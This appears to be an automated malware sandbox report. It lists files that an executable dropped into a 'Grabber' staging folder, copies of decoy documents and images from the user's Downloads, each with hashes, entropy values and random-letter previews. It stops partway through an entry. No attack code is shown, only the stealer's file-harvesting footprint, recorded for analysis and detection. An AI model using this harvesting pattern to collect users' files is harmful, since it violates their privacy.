YHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GLTYDMDUST.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GNLQNHOLWB.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698695541849584
Encrypted:	false
SSDEEP:	24:ZE+7+1bm31iNKty4eaTDMDURN6ZqyioAe1L:ZE+61bm0Qty41T5N6ZNLAeZ
MD5:	64E7020B0B401F75D3061A1917D99E04
SHA1:	785E09A2F76464E26CE282F41DE07D1B27FFB855
SHA-256:	9E5D6C897851C4A24A0D3BC4F9291A971550B9F1B9F9CFB86D7A2D5F12CD63B0
SHA-512:	14D18C0739A9B9097C2135DF001E31BA17772A9ED1DFC62318AD092C133F8C054E5C335354C57929137344E11AC6F0EBC5032211136D1F1B3F6DF8F1434D90E3
Malicious:	false
Preview:	GNLQNHOLWBOQVJIFTLNFGJNNXMGUZOMCUNVQXIPWIQSXJKHHVRYLBVHOHRRAZCZOOSABVUNECAWUZDTCLDYZAFJGGGUXKDFDPLZWHOYARDSHMWUJKNJPXNWQKOEVEVLWQLXKJLHTDQZQULYODUZGGIUHFXGBKGLAQBERUUCASFPJWCVSHYWEKXXBEZZVPBKVPPRGJJFXTGVBUVLUVQNAPBMPJOZNNFCDPEHNHWSMZSBAYITASRGZTGXSYUNNLKZKAVLGDGRIUVYOWINQLHMWTCZYYSGNSZQWZQNLKENKZJSDTJDSZVFQGHKVENDXCIHQVPCJNVXYVCJTKGGQJHTLGYJROSCXNGTCNNLCBSAOHAXWLQLCXTRIYCZVDEDWKBEHBEBKKXYVNQHTFFQFVFLHQRXMYLCHQAJKIRETOPSMFDVMJOROHVBDNWQMACXDCGCPKSQUIXWYXSYDPSBSUJMXEBPBCWJDOKOSFYRZQSCWEIHCQFTRYQVAUUYDVCYUHDRUKCTOGNWSTPHONXNHSHICTVCMWIDPOKQMNGFKZOADDJPTUVPEWWFNEKDLAVDZNBHHFIRSPGSQGUQUGGIRSVJTEIAUJEHUVHRJPWEMACBNRIWVFWWRDNGHYAESSKWHOCXLPYRMKQYTXSSYLKESQEPWVDSSTKTYQDQTTAUVWPQFTTJMGMEGRECDIFCMPKXTYYNGENSBDKEVPPDNRRDLULORZGHRQIQWLMHMKLKDLNSNWXWGTMDLMPWAGGPUJXOOYWOGWZTDKIVNNXMKJEFALSJECCOVZVTAPKGAXWCUMHLAHYBPLBTDXBKKPKPJFJOKZKMPEWOOMMMCZHSENRPGKEJJHHOVFETVBBFBTDTSNLGGPVPAFDOXRJUKYZTGOFQUAVOGUZJARUUCKMRYUSWZIRYUATBQRRVCNMFMMBTGSFQCAOTPTSBPCICPBMURXQOIITZCLXKSJVDGFLGHUIHTALRYCNLFILDCLQXDOGMOKPXT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HMPPSXQPQV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HMPPSXQPQV.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HQJBRDYKDE.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LFOPODGVOH.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LIJDSFKJZG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
